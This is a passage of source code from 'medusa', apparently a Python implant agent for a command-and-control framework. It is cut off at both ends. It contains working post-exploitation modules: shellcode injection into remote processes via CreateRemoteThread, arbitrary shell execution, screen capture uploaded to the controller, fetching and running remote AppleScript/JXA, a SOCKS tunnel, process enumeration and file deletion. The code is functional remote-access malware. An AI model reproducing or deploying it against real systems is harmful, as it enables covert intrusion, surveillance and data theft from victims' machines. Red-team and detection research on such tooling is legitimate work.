installed_packages_list = freeze(local_only=True)
return "\n".join(installed_packages_list)
except:
out+="[*] pip module not installed.\n"
try:
import pkgutil
installed_packages_list = [ a for _, a, _ in pkgutil.iter_modules()]
return "\n".join(installed_packages_list)
except:
out+="[*] pkgutil module not installed.\n"
return out+"[!] No modules available to list installed packages."
================================================
FILE: Payload_Type/medusa/medusa/agent_code/ps.py2
================================================
def ps(self, task_id):
def get_user_id_map():
user_map = {}
# get username from uid
with open("/etc/passwd", "r") as f:
passwd = f.readlines()
for line in passwd:
user_line_arr = line.split(":")
username = user_line_arr[0].strip()
uid = user_line_arr[2].strip()
user_map[uid] = username
return user_map
processes = []
if os.name == 'posix':
# Get the user map
user_map = get_user_id_map()
# get list of PIDs by performing a directory listing on /proc
pids = [pid for pid in os.listdir("/proc") if pid.isdigit()]
# loop through each PID and output information similar to ps command
for pid in pids:
# construct path to status file
status_path = "/proc/%s/status" % str(pid)
# read in the status file - bail if process dies before we read the status file
try:
with open(status_path, "r") as f:
status = f.readlines()
except Exception as e:
continue
# construct path to status file
cmdline_path = "/proc/%s/cmdline" % str(pid)
# read in the status file
with open(cmdline_path, "r") as f:
cmdline = f.read()
cmd_arr = cmdline.split("\x00")
cmdline = " ".join(cmd_arr)
# extract relevant information from status file
name = ""
ppid = ""
uid = ""
username = ""
for line in status:
if line.startswith("Name:"):
name = line.split()[1].strip()
elif line.startswith("PPid:"):
ppid = line.split()[1].strip()
elif line.startswith("Uid:"):
uid = line.split()[1].strip()
# Map the uid to the username
if uid in user_map:
username = user_map[uid]
process = {"process_id": int(pid), "parent_process_id": int(ppid), "user_id": username, "name": name,
"bin_path": cmdline}
processes.append(process)
task = [task for task in self.taskings if task["task_id"] == task_id]
task[0]["processes"] = processes
return json.dumps({ "processes": processes })
================================================
FILE: Payload_Type/medusa/medusa/agent_code/ps.py3
================================================
def ps(self, task_id):
import os
processes = []
if os.name == 'posix':
def get_user_id_map():
user_map = {}
# get username from uid
with open("/etc/passwd", "r") as f:
passwd = f.readlines()
for line in passwd:
user_line_arr = line.split(":")
username = user_line_arr[0].strip()
uid = user_line_arr[2].strip()
user_map[uid] = username
return user_map
# Get the user map
user_map = get_user_id_map()
# get list of PIDs by performing a directory listing on /proc
pids = [pid for pid in os.listdir("/proc") if pid.isdigit()]
# loop through each PID and output information similar to ps command
for pid in pids:
# construct path to status file
status_path = "/proc/%s/status" % str(pid)
# read in the status file - bail if process dies before we read the status file
try:
with open(status_path, "r") as f:
status = f.readlines()
except Exception as e:
continue
# construct path to status file
cmdline_path = "/proc/%s/cmdline" % str(pid)
# read in the status file
with open(cmdline_path, "r") as f:
cmdline = f.read()
cmd_arr = cmdline.split("\x00")
cmdline = " ".join(cmd_arr)
# extract relevant information from status file
name = ""
ppid = ""
uid = ""
username = ""
for line in status:
if line.startswith("Name:"):
name = line.split()[1].strip()
elif line.startswith("PPid:"):
ppid = line.split()[1].strip()
elif line.startswith("Uid:"):
uid = line.split()[1].strip()
# Map the uid to the username
if uid in user_map:
username = user_map[uid]
process = {"process_id": int(pid), "parent_process_id": int(ppid), "user_id": username, "name": name,
"bin_path": cmdline}
processes.append(process)
elif os.name == 'nt':
import sys, os.path, ctypes, ctypes.wintypes, re
from ctypes import create_unicode_buffer, GetLastError
def _check_bool(result, func, args):
if not result:
raise ctypes.WinError(ctypes.get_last_error())
return args
PULONG = ctypes.POINTER(ctypes.wintypes.ULONG)
ULONG_PTR = ctypes.wintypes.LPVOID
SIZE_T = ctypes.c_size_t
NTSTATUS = ctypes.wintypes.LONG
PVOID = ctypes.wintypes.LPVOID
PROCESSINFOCLASS = ctypes.wintypes.ULONG
Psapi = ctypes.WinDLL('Psapi.dll')
EnumProcesses = Psapi.EnumProcesses
EnumProcesses.restype = ctypes.wintypes.BOOL
GetProcessImageFileName = Psapi.GetProcessImageFileNameA
GetProcessImageFileName.restype = ctypes.wintypes.DWORD
Kernel32 = ctypes.WinDLL('kernel32.dll')
OpenProcess = Kernel32.OpenProcess
OpenProcess.restype = ctypes.wintypes.HANDLE
CloseHandle = Kernel32.CloseHandle
CloseHandle.errcheck = _check_bool
IsWow64Process = Kernel32.IsWow64Process
WIN32_PROCESS_TIMES_TICKS_PER_SECOND = 1e7
MAX_PATH = 260
PROCESS_TERMINATE = 0x0001
PROCESS_QUERY_INFORMATION = 0x0400
TOKEN_QUERY = 0x0008
TOKEN_READ = 0x00020008
TOKEN_IMPERSONATE = 0x00000004
TOKEN_QUERY_SOURCE = 0x0010
TOKEN_DUPLICATE = 0x0002
TOKEN_ASSIGN_PRIMARY = 0x0001
ProcessBasicInformation = 0
ProcessDebugPort = 7
ProcessWow64Information = 26
ProcessImageFileName = 27
ProcessBreakOnTermination = 29
STATUS_UNSUCCESSFUL = NTSTATUS(0xC0000001)
STATUS_INFO_LENGTH_MISMATCH = NTSTATUS(0xC0000004).value
STATUS_INVALID_HANDLE = NTSTATUS(0xC0000008).value
STATUS_OBJECT_TYPE_MISMATCH = NTSTATUS(0xC0000024).value
def query_dos_device(drive_letter):
chars = 1024
drive_letter = drive_letter
p = create_unicode_buffer(chars)
if 0 == Kernel32.QueryDosDeviceW(drive_letter, p, chars):
pass
return p.value
def create_drive_mapping():
mappings = {}
for letter in (chr(l) for l in range(ord('C'), ord('Z') + 1)):
try:
letter = u'%s:' % letter
mapped = query_dos_device(letter)
mappings[mapped] = letter
except WindowsError:
pass
return mappings
mappings = create_drive_mapping()
def normalise_binpath(path):
match = re.match(r'(^\\Device\\[a-zA-Z0-9]+)(\\.*)?$', path)
if not match:
return f"Cannot convert {path} into a Win32 compatible path"
if not match.group(1) in mappings:
return None
drive = mappings[match.group(1)]
if not drive or not match.group(2):
return drive
return drive + match.group(2)
count = 32
while True:
ProcessIds = (ctypes.wintypes.DWORD*count)()
cb = ctypes.sizeof(ProcessIds)
BytesReturned = ctypes.wintypes.DWORD()
if EnumProcesses(ctypes.byref(ProcessIds), cb, ctypes.byref(BytesReturned)):
if BytesReturned.value<cb:
break
else:
count *= 2
else:
sys.exit("Call to EnumProcesses failed")
for index in range(int(BytesReturned.value / ctypes.sizeof(ctypes.wintypes.DWORD))):
process = {}
process["process_id"] = ProcessId = ProcessIds[index]
if ProcessId == 0: continue
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, ProcessId)
if hProcess:
ImageFileName = (ctypes.c_char*MAX_PATH)()
Is64Bit = ctypes.c_int32()
IsWow64Process(hProcess, ctypes.byref(Is64Bit))
arch = "x86" if Is64Bit.value else "x64"
process["architecture"] = arch
if GetProcessImageFileName(hProcess, ImageFileName, MAX_PATH)>0:
filename = os.path.basename(ImageFileName.value)
process["name"] = filename.decode()
process["bin_path"] = normalise_binpath(ImageFileName.value.decode())
CloseHandle(hProcess)
processes.append(process)
task = [task for task in self.taskings if task["task_id"] == task_id]
task[0]["processes"] = processes
return json.dumps({ "processes": processes })
================================================
FILE: Payload_Type/medusa/medusa/agent_code/ps_full.py3
================================================
def ps_full(self, task_id):
import sys, os.path, ctypes, ctypes.wintypes
from ctypes import create_unicode_buffer, GetLastError
def _check_bool(result, func, args):
if not result:
raise ctypes.WinError(ctypes.get_last_error())
return args
PULONG = ctypes.POINTER(ctypes.wintypes.ULONG)
ULONG_PTR = ctypes.wintypes.LPVOID
SIZE_T = ctypes.c_size_t
NTSTATUS = ctypes.wintypes.LONG
PVOID = ctypes.wintypes.LPVOID
PROCESSINFOCLASS = ctypes.wintypes.ULONG
Psapi = ctypes.WinDLL('Psapi.dll')
EnumProcesses = Psapi.EnumProcesses
EnumProcesses.restype = ctypes.wintypes.BOOL
Kernel32 = ctypes.WinDLL('kernel32.dll')
OpenProcess = Kernel32.OpenProcess
OpenProcess.restype = ctypes.wintypes.HANDLE
CloseHandle = Kernel32.CloseHandle
CloseHandle.errcheck = _check_bool
IsWow64Process = Kernel32.IsWow64Process
GetCurrentProcess = Kernel32.GetCurrentProcess
GetCurrentProcess.restype = ctypes.wintypes.HANDLE
GetCurrentProcess.argtypes = ()
ReadProcessMemory = Kernel32.ReadProcessMemory
ReadProcessMemory.errcheck = _check_bool
ReadProcessMemory.argtypes = (
ctypes.wintypes.HANDLE,
ctypes.wintypes.LPCVOID,
ctypes.wintypes.LPVOID,
SIZE_T,
ctypes.POINTER(SIZE_T))
MAX_PATH = 260
PROCESS_VM_READ = 0x0010
PROCESS_QUERY_INFORMATION = 0x0400
ProcessBasicInformation = 0
ProcessDebugPort = 7
ProcessWow64Information = 26
ProcessImageFileName = 27
ProcessBreakOnTermination = 29
STATUS_UNSUCCESSFUL = NTSTATUS(0xC0000001)
STATUS_INFO_LENGTH_MISMATCH = NTSTATUS(0xC0000004).value
STATUS_INVALID_HANDLE = NTSTATUS(0xC0000008).value
STATUS_OBJECT_TYPE_MISMATCH = NTSTATUS(0xC0000024).value
class RemotePointer(ctypes._Pointer):
def __getitem__(self, key):
size = None
if not isinstance(key, tuple):
raise KeyError('must be (index, handle[, size])')
if len(key) > 2:
index, handle, size = key
else:
index, handle = key
if isinstance(index, slice):
raise TypeError('slicing is not supported')
dtype = self._type_
offset = ctypes.sizeof(dtype) * index
address = PVOID.from_buffer(self).value + offset
simple = issubclass(dtype, ctypes._SimpleCData)
if simple and size is not None:
if dtype._type_ == ctypes.wintypes.WCHAR._type_:
buf = (ctypes.wintypes.WCHAR * (size // 2))()
else: buf = (ctypes.c_char * size)()
else: buf = dtype()
nread = SIZE_T()
Kernel32.ReadProcessMemory(handle, address, ctypes.byref(buf), \
ctypes.sizeof(buf), ctypes.byref(nread))
if simple: return buf.value
return buf
_remote_pointer_cache = {}
def RPOINTER(dtype):
if dtype in _remote_pointer_cache: return _remote_pointer_cache[dtype]
name = 'RP_%s' % dtype.__name__
ptype = type(name, (RemotePointer,), {'_type_': dtype})
_remote_pointer_cache[dtype] = ptype
return ptype
RPWSTR = RPOINTER(ctypes.wintypes.WCHAR)
class UNICODE_STRING(ctypes.Structure):
_fields_ = (('Length', ctypes.wintypes.USHORT),
('MaximumLength', ctypes.wintypes.USHORT),
('Buffer', RPWSTR))
class LIST_ENTRY(ctypes.Structure):
pass
RPLIST_ENTRY = RPOINTER(LIST_ENTRY)
LIST_ENTRY._fields_ = (('Flink', RPLIST_ENTRY),
('Blink', RPLIST_ENTRY))
class PEB_LDR_DATA(ctypes.Structure):
_fields_ = (('Reserved1', ctypes.wintypes.BYTE * 8),
('Reserved2', PVOID * 3),
('InMemoryOrderModuleList', LIST_ENTRY))
RPPEB_LDR_DATA = RPOINTER(PEB_LDR_DATA)
class RTL_USER_PROCESS_PARAMETERS(ctypes.Structure):
_fields_ = (('Reserved1', ctypes.wintypes.BYTE * 16),
('Reserved2', PVOID * 10),
('ImagePathName', UNICODE_STRING),
('CommandLine', UNICODE_STRING))
RPRTL_USER_PROCESS_PARAMETERS = RPOINTER(RTL_USER_PROCESS_PARAMETERS)
PPS_POST_PROCESS_INIT_ROUTINE = PVOID
class PEB(ctypes.Structure):
_fields_ = (('Reserved1', ctypes.wintypes.BYTE * 2),
('BeingDebugged', ctypes.wintypes.BYTE),
('Reserved2', ctypes.wintypes.BYTE * 1),
('Reserved3', PVOID * 2),
('Ldr', RPPEB_LDR_DATA),
('ProcessParameters', RPRTL_USER_PROCESS_PARAMETERS),
('Reserved4', ctypes.wintypes.BYTE * 104),
('Reserved5', PVOID * 52),
('PostProcessInitRoutine', PPS_POST_PROCESS_INIT_ROUTINE),
('Reserved6', ctypes.wintypes.BYTE * 128),
('Reserved7', PVOID * 1),
('SessionId', ctypes.wintypes.ULONG))
RPPEB = RPOINTER(PEB)
class PROCESS_BASIC_INFORMATION(ctypes.Structure):
_fields_ = (('Reserved1', PVOID),
('PebBaseAddress', RPPEB),
('Reserved2', PVOID * 2),
('UniqueProcessId', ULONG_PTR),
('InheritedFromUniqueProcessId', ULONG_PTR))
def NtError(status):
import sys
descr = 'NTSTATUS(%#08x) ' % (status % 2**32,)
if status & 0xC0000000 == 0xC0000000:
descr += '[Error]'
elif status & 0x80000000 == 0x80000000:
descr += '[Warning]'
elif status & 0x40000000 == 0x40000000:
descr += '[Information]'
else:
descr += '[Success]'
if sys.version_info[:2] < (3, 3):
return WindowsError(status, descr)
return OSError(None, descr, None, status)
ntdll = ctypes.WinDLL('ntdll.dll')
NtQueryInformationProcess = ntdll.NtQueryInformationProcess
NtQueryInformationProcess.restype = NTSTATUS
NtQueryInformationProcess.argtypes = (
ctypes.wintypes.HANDLE,
PROCESSINFOCLASS,
PVOID,
ctypes.wintypes.ULONG,
PULONG)
class ProcessInformation(object):
_close_handle = False
_closed = False
_module_names = None
def __init__(self, process_id=None, handle=None):
if process_id is None and handle is None:
handle = GetCurrentProcess()
elif handle is None:
handle = OpenProcess(PROCESS_VM_READ |
PROCESS_QUERY_INFORMATION,
False, process_id)
self._close_handle = True
self._handle = handle
if not self._query_info() or (process_id is not None \
and self._process_id != process_id):
return
def __del__(self, CloseHandle=CloseHandle):
if self._close_handle and not self._closed:
try:
CloseHandle(self._handle)
except WindowsError as e: pass
self._closed = True
def _query_info(self):
info = PROCESS_BASIC_INFORMATION()
handle = self._handle
status = NtQueryInformationProcess(handle, ProcessBasicInformation,
ctypes.byref(info), ctypes.sizeof(info), None)
if status < 0:
return False
self._process_id = info.UniqueProcessId
self._parent_process_id = info.InheritedFromUniqueProcessId
self._peb = peb = info.PebBaseAddress[0, handle]
self._params = peb.ProcessParameters[0, handle]
Is64Bit = ctypes.c_int32()
IsWow64Process(handle, ctypes.byref(Is64Bit))
self._arch = "x86" if Is64Bit.value else "x64"
@property
def process_id(self):
return self._process_id
@property
def session_id(self):
return self._peb.SessionId
@property
def image_path(self):
ustr = self._params.ImagePathName
return ustr.Buffer[0, self._handle, ustr.Length]
@property
def command_line(self):
ustr = self._params.CommandLine
buf = ustr.Buffer[0, self._handle, ustr.Length]
return buf
processes = []
count = 32
while True:
ProcessIds = (ctypes.wintypes.DWORD*count)()
cb = ctypes.sizeof(ProcessIds)
BytesReturned = ctypes.wintypes.DWORD()
if EnumProcesses(ctypes.byref(ProcessIds), cb, ctypes.byref(BytesReturned)):
if BytesReturned.value<cb:
break
else:
count *= 2
else:
sys.exit("Call to EnumProcesses failed")
for index in range(int(BytesReturned.value / ctypes.sizeof(ctypes.wintypes.DWORD))):
process = {}
process["process_id"] = ProcessId = ProcessIds[index]
if ProcessId == 0: continue
try:
pi = ProcessInformation(ProcessId)
process["name"] = os.path.basename(pi.image_path)
process["architecture"] = str(pi._arch)
process["bin_path"] = pi.image_path
process["integrity_level"] = pi.session_id
process["parent_process_id"] = pi._parent_process_id
process["command_line"] = pi.command_line
except:
pass
processes.append(process)
task = [task for task in self.taskings if task["task_id"] == task_id]
task[0]["processes"] = processes
return { "processes": processes }
================================================
FILE: Payload_Type/medusa/medusa/agent_code/rm.py
================================================
def rm(self, task_id, path):
import shutil
file_path = path if path[0] == os.sep \
else os.path.join(self.current_directory,path)
if os.path.isdir(file_path):
shutil.rmtree(file_path)
else:
os.remove(file_path)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/screenshot.py2
================================================
def screenshot(self, task_id):
from Cocoa import NSURL, NSBitmapImageRep
import LaunchServices
import Quartz
import Quartz.CoreGraphics as CG
region = CG.CGRectInfinite
image = CG.CGWindowListCreateImage(region, CG.kCGWindowListOptionOnScreenOnly, CG.kCGNullWindowID, CG.kCGWindowImageDefault)
sh_data = CG.CFDataCreateMutable(None, 0)
dest = Quartz.CGImageDestinationCreateWithData(sh_data, LaunchServices.kUTTypePNG, 1, None)
file_size = 0
if(dest):
Quartz.CGImageDestinationAddImage (dest, image, 0)
if (Quartz.CGImageDestinationFinalize(dest)):
file_size = CG.CFDataGetLength(sh_data)
if(file_size) > 0:
total_chunks = int(file_size / CHUNK_SIZE) + (file_size % CHUNK_SIZE > 0)
data = {
"action": "post_response",
"responses": [
{
"task_id": task_id,
"total_chunks": total_chunks,
"file_path": str(datetime.now()),
"chunk_size": CHUNK_SIZE,
"is_screenshot": True
}]
}
initial_response = self.postMessageAndRetrieveResponse(data)
for i in range(0,total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
if i == total_chunks:
content = sh_data[i*CHUNK_SIZE:]
else:
content = sh_data[i*CHUNK_SIZE:(i+1)*CHUNK_SIZE]
data = {
"action": "post_response",
"responses": [
{
"chunk_num": i+1,
"file_id": initial_response["responses"][0]["file_id"],
"chunk_data": base64.b64encode(content),
"task_id": task_id
}
]
}
response = self.postMessageAndRetrieveResponse(data)
return json.dumps({ "file_id": initial_response["responses"][0]["file_id"] })
================================================
FILE: Payload_Type/medusa/medusa/agent_code/shell.py
================================================
def shell(self, task_id, command):
import subprocess
process = subprocess.Popen(command, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, cwd=self.current_directory, shell=True)
stdout, stderr = process.communicate()
out = stderr if stderr else stdout
return out.decode()
================================================
FILE: Payload_Type/medusa/medusa/agent_code/shinject.py
================================================
def shinject(self, task_id, shellcode, process_id):
from ctypes import windll,c_int,byref,c_ulong
total_chunks = 1
chunk_num = 0
sc = b""
while (chunk_num < total_chunks):
data = {
"action": "post_response", "responses": [{
"upload": { "chunk_size": 51200, "file_id": shellcode, "chunk_num": chunk_num+1 },
"task_id": task_id
}]
}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
chunk_num+=1
total_chunks = chunk["total_chunks"]
sc+=base64.b64decode(chunk["chunk_data"])
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32
code_size = len(sc)
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(process_id))
if not h_process:
return "[!] Error: Couldn't acquire a handle to PID {}".format(process_id)
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
kernel32.WriteProcessMemory(h_process, arg_address, sc, code_size, 0)
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0, byref(thread_id)):
return "[!] Failed to create thread."
return "[*] Remote thread created."
================================================
FILE: Payload_Type/medusa/medusa/agent_code/sleep.py
================================================
def sleep(self, task_id, seconds, jitter=-1):
self.agent_config["Sleep"] = int(seconds)
if jitter != -1:
self.agent_config["Jitter"] = int(jitter)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/socks.py2
================================================
def socks(self, task_id, action, port):
import socket, select
from threading import Thread, active_count
from struct import pack, unpack
from Queue import Queue
MAX_THREADS = 200
BUFSIZE = 2048
TIMEOUT_SOCKET = 5
OUTGOING_INTERFACE = ""
VER = b'\x05'
M_NOAUTH = b'\x00'
M_NOTAVAILABLE = b'\xff'
CMD_CONNECT = b'\x01'
ATYP_IPV4 = b'\x01'
ATYP_DOMAINNAME = b'\x03'
SOCKS_SLEEP_INTERVAL = 0.1
QUEUE_TIMOUT = 1
def sendSocksPacket(server_id, data, exit_value):
self.socks_out.put({ "server_id": server_id,
"data": base64.b64encode(data), "exit": exit_value })
def create_socket():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT_SOCKET)
except: return "Failed to create socket: {}".format(str(err))
return sock
def connect_to_dst(dst_addr, dst_port):
sock = create_socket()
if OUTGOING_INTERFACE:
try:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, OUTGOING_INTERFACE)
except PermissionError as err: return 0
try:
sock.connect((str(dst_addr), int(dst_port)))
return sock
except socket.error as err: return 0
def request_client(msg):
try:
message = base64.b64decode(msg["data"])
s5_request = bytearray(message[:BUFSIZE])
except:
return False
if (s5_request[0:1] != VER or s5_request[1:2] != CMD_CONNECT or s5_request[2:3] != b'\x00'):
return False
if s5_request[3:4] == ATYP_IPV4:
dst_addr = socket.inet_ntoa(s5_request[4:-2])
dst_port = unpack('>H', s5_request[8:len(s5_request)])[0]
elif s5_request[3:4] == ATYP_DOMAINNAME:
sz_domain_name = s5_request[4]
dst_addr = s5_request[5: 5 + sz_domain_name - len(s5_request)]
port_to_unpack = s5_request[5 + sz_domain_name:len(s5_request)]
dst_port = unpack('>H', port_to_unpack)[0]
else: return False
return (dst_addr, dst_port)
def create_connection(msg):
dst = request_client(msg)
rep = b'\x07'
bnd = b'\x00' + b'\x00' + b'\x00' + b'\x00' + b'\x00' + b'\x00'
if dst:
socket_dst = connect_to_dst(dst[0], dst[1])
if not dst or socket_dst == 0: rep = b'\x01'
else:
rep = b'\x00'
bnd = socket.inet_aton(socket_dst.getsockname()[0])
bnd += pack(">H", socket_dst.getsockname()[1])
reply = VER + rep + b'\x00' + ATYP_IPV4 + bnd
try: sendSocksPacket(msg["server_id"], reply, msg["exit"])
except: return
if rep == b'\x00': return socket_dst
def get_running_socks_thread():
return [ t for t in threading.enumerate() if "socks:" in t.name and not task_id in t.name ]
def a2m(server_id, socket_dst):
while True:
if task_id not in [task["task_id"] for task in self.taskings]: return
elif [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return
if server_id not in self.socks_open.keys(): return
try: reader, _, _ = select.select([socket_dst], [], [], 1)
except select.error as err: return
if not reader: continue
try:
for sock in reader:
data = sock.recv(BUFSIZE)
if not data:
sendSocksPacket(server_id, b"", True)
socket_dst.close()
return
sendSocksPacket(server_id, data, False)
except Exception as e: pass
time.sleep(SOCKS_SLEEP_INTERVAL)
def m2a(server_id, socket_dst):
while True:
if task_id not in [task["task_id"] for task in self.taskings]: return
elif [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return
if server_id not in self.socks_open.keys():
socket_dst.close()
return
try:
if not self.socks_open[server_id].empty():
socket_dst.send(base64.b64decode(self.socks_open[server_id].get(timeout=QUEUE_TIMOUT)))
except: pass
time.sleep(SOCKS_SLEEP_INTERVAL)
t_socks = get_running_socks_thread()
if action == "start":
if len(t_socks) > 0: return "[!] SOCKS Proxy already running."
self.sendTaskOutputUpdate(task_id, "[*] SOCKS Proxy started.\n")
while True:
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "[*] SOCKS Proxy stopped."
if not self.socks_in.empty():
packet_json = self.socks_in.get(timeout=QUEUE_TIMOUT)
if packet_json:
server_id = packet_json["server_id"]
if server_id in self.socks_open.keys():
if packet_json["data"]:
self.socks_open[server_id].put(packet_json["data"])
elif packet_json["exit"]:
self.socks_open.pop(server_id)
else:
if not packet_json["exit"]:
if active_count() > MAX_THREADS:
sleep(3)
continue
self.socks_open[server_id] = Queue()
sock = create_connection(packet_json)
if sock:
send_thread = Thread(target=a2m, args=(server_id, sock, ), name="A2M:{}".format(server_id))
recv_thread = Thread(target=m2a, args=(server_id, sock, ), name="M2A:{}".format(server_id))
send_thread.start()
recv_thread.start()
time.sleep(SOCKS_SLEEP_INTERVAL)
else:
if len(t_socks) > 0:
for t_sock in t_socks:
task = [task for task in self.taskings if task["task_id"] == t_sock.name.split(":")[1]][0]
task["stopped"] = task["completed"] = True
self.socks_open = {}
================================================
FILE: Payload_Type/medusa/medusa/agent_code/socks.py3
================================================
def socks(self, task_id, action, port):
import socket, select, queue
from threading import Thread, active_count
from struct import pack, unpack
MAX_THREADS = 200
BUFSIZE = 2048
TIMEOUT_SOCKET = 5
OUTGOING_INTERFACE = ""
VER = b'\x05'
M_NOAUTH = b'\x00'
M_NOTAVAILABLE = b'\xff'
CMD_CONNECT = b'\x01'
ATYP_IPV4 = b'\x01'
ATYP_DOMAINNAME = b'\x03'
SOCKS_SLEEP_INTERVAL = 0.1
QUEUE_TIMOUT = 1
def sendSocksPacket(server_id, data, exit_value):
self.socks_out.put({ "server_id": server_id,
"data": base64.b64encode(data).decode(), "exit": exit_value })
def create_socket():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIMEOUT_SOCKET)
except: return "Failed to create socket: {}".format(str(err))
return sock
def connect_to_dst(dst_addr, dst_port):
sock = create_socket()
if OUTGOING_INTERFACE:
try:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, OUTGOING_INTERFACE.encode())
except PermissionError as err: return 0
try:
sock.connect((dst_addr, dst_port))
return sock
except socket.error as err: return 0
def request_client(msg):
try:
message = base64.b64decode(msg["data"])
s5_request = message[:BUFSIZE]
except:
return False
if (s5_request[0:1] != VER or s5_request[1:2] != CMD_CONNECT or s5_request[2:3] != b'\x00'):
return False
if s5_request[3:4] == ATYP_IPV4:
dst_addr = socket.inet_ntoa(s5_request[4:-2])
dst_port = unpack('>H', s5_request[8:len(s5_request)])[0]
elif s5_request[3:4] == ATYP_DOMAINNAME:
sz_domain_name = s5_request[4]
dst_addr = s5_request[5: 5 + sz_domain_name - len(s5_request)]
port_to_unpack = s5_request[5 + sz_domain_name:len(s5_request)]
dst_port = unpack('>H', port_to_unpack)[0]
else: return False
return (dst_addr, dst_port)
def create_connection(msg):
dst = request_client(msg)
rep = b'\x07'
bnd = b'\x00' + b'\x00' + b'\x00' + b'\x00' + b'\x00' + b'\x00'
if dst:
socket_dst = connect_to_dst(dst[0], dst[1])
if not dst or socket_dst == 0: rep = b'\x01'
else:
rep = b'\x00'
bnd = socket.inet_aton(socket_dst.getsockname()[0])
bnd += pack(">H", socket_dst.getsockname()[1])
reply = VER + rep + b'\x00' + ATYP_IPV4 + bnd
try: sendSocksPacket(msg["server_id"], reply, msg["exit"])
except: return
if rep == b'\x00': return socket_dst
def get_running_socks_thread():
return [ t for t in threading.enumerate() if "socks:" in t.name and not task_id in t.name ]
def a2m(server_id, socket_dst):
while True:
if task_id not in [task["task_id"] for task in self.taskings]: return
elif [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return
if server_id not in self.socks_open.keys(): return
try: reader, _, _ = select.select([socket_dst], [], [], 1)
except select.error as err: return
if not reader: continue
try:
for sock in reader:
data = sock.recv(BUFSIZE)
if not data:
sendSocksPacket(server_id, b"", True)
socket_dst.close()
return
sendSocksPacket(server_id, data, False)
except Exception as e: pass
time.sleep(SOCKS_SLEEP_INTERVAL)
def m2a(server_id, socket_dst):
while True:
if task_id not in [task["task_id"] for task in self.taskings]: return
elif [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]: return
if server_id not in self.socks_open.keys():
socket_dst.close()
return
try:
if not self.socks_open[server_id].empty():
socket_dst.send(base64.b64decode(self.socks_open[server_id].get(timeout=QUEUE_TIMOUT)))
except: pass
time.sleep(SOCKS_SLEEP_INTERVAL)
t_socks = get_running_socks_thread()
if action == "start":
if len(t_socks) > 0: return "[!] SOCKS Proxy already running."
self.sendTaskOutputUpdate(task_id, "[*] SOCKS Proxy started.\n")
while True:
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "[*] SOCKS Proxy stopped."
if not self.socks_in.empty():
packet_json = self.socks_in.get(timeout=QUEUE_TIMOUT)
if packet_json:
server_id = packet_json["server_id"]
if server_id in self.socks_open.keys():
if packet_json["data"]:
self.socks_open[server_id].put(packet_json["data"])
elif packet_json["exit"]:
self.socks_open.pop(server_id)
else:
if not packet_json["exit"]:
if active_count() > MAX_THREADS:
sleep(3)
continue
self.socks_open[server_id] = queue.Queue()
sock = create_connection(packet_json)
if sock:
send_thread = Thread(target=a2m, args=(server_id, sock, ), name="a2m:{}".format(server_id))
recv_thread = Thread(target=m2a, args=(server_id, sock, ), name="m2a:{}".format(server_id))
send_thread.start()
recv_thread.start()
time.sleep(SOCKS_SLEEP_INTERVAL)
else:
if len(t_socks) > 0:
for t_sock in t_socks:
task = [task for task in self.taskings if task["task_id"] == t_sock.name.split(":")[1]][0]
task["stopped"] = task["completed"] = True
self.socks_open = {}
================================================
FILE: Payload_Type/medusa/medusa/agent_code/spawn_jxa.py
================================================
def spawn_jxa(self, task_id, file, language):
import os
import subprocess
total_chunks = 1
chunk_num = 0
cmd_code = ""
while (chunk_num < total_chunks):
if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
return "Job stopped."
data = { "action": "post_response", "responses": [
{ "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num+1 }, "task_id": task_id }
]}
response = self.postMessageAndRetrieveResponse(data)
chunk = response["responses"][0]
chunk_num+=1
total_chunks = chunk["total_chunks"]
cmd_code += base64.b64decode(chunk["chunk_data"]).decode()
if cmd_code:
args = []
if language == "JavaScript":
args = ["osascript", "-l", "JavaScript", "-"]
elif language == "AppleScript":
args = ["osascript", "-"]
osapipe = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
osapipe.stdin.write(cmd_code.encode())
stdout, stderr = osapipe.communicate()
out = stderr if stderr else stdout
return str(out)
else: return "Failed to load script"
================================================
FILE: Payload_Type/medusa/medusa/agent_code/unload.py
================================================
def unload(self, task_id, command):
try: getattr(medusa, command)
except: return "{} not currently loaded.".format(command)
delattr(medusa, command)
cmd_list = [{"action": "remove", "cmd": command}]
responses = [{ "task_id": task_id, "user_output": "Unloaded command: {}".format(command), "commands": cmd_list, "completed": True }]
message = { "action": "post_response", "responses": responses }
response_data = self.postMessageAndRetrieveResponse(message)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/unload_module.py
================================================
def unload_module(self, task_id, module_name):
if module_name in self._meta_cache:
finder = self._meta_cache.pop(module_name)
sys.meta_path.remove(finder)
self.moduleRepo.pop(module_name)
return "{} module unloaded".format(module_name)
else: return "{} not found in loaded modules".format(module_name)
================================================
FILE: Payload_Type/medusa/medusa/agent_code/upload.py
================================================
def upload(self, task_id, file, remote_path):
total_chunks = 1
chunk_num = 1
file_path = remote_path if remote_path[0] == os.sep \
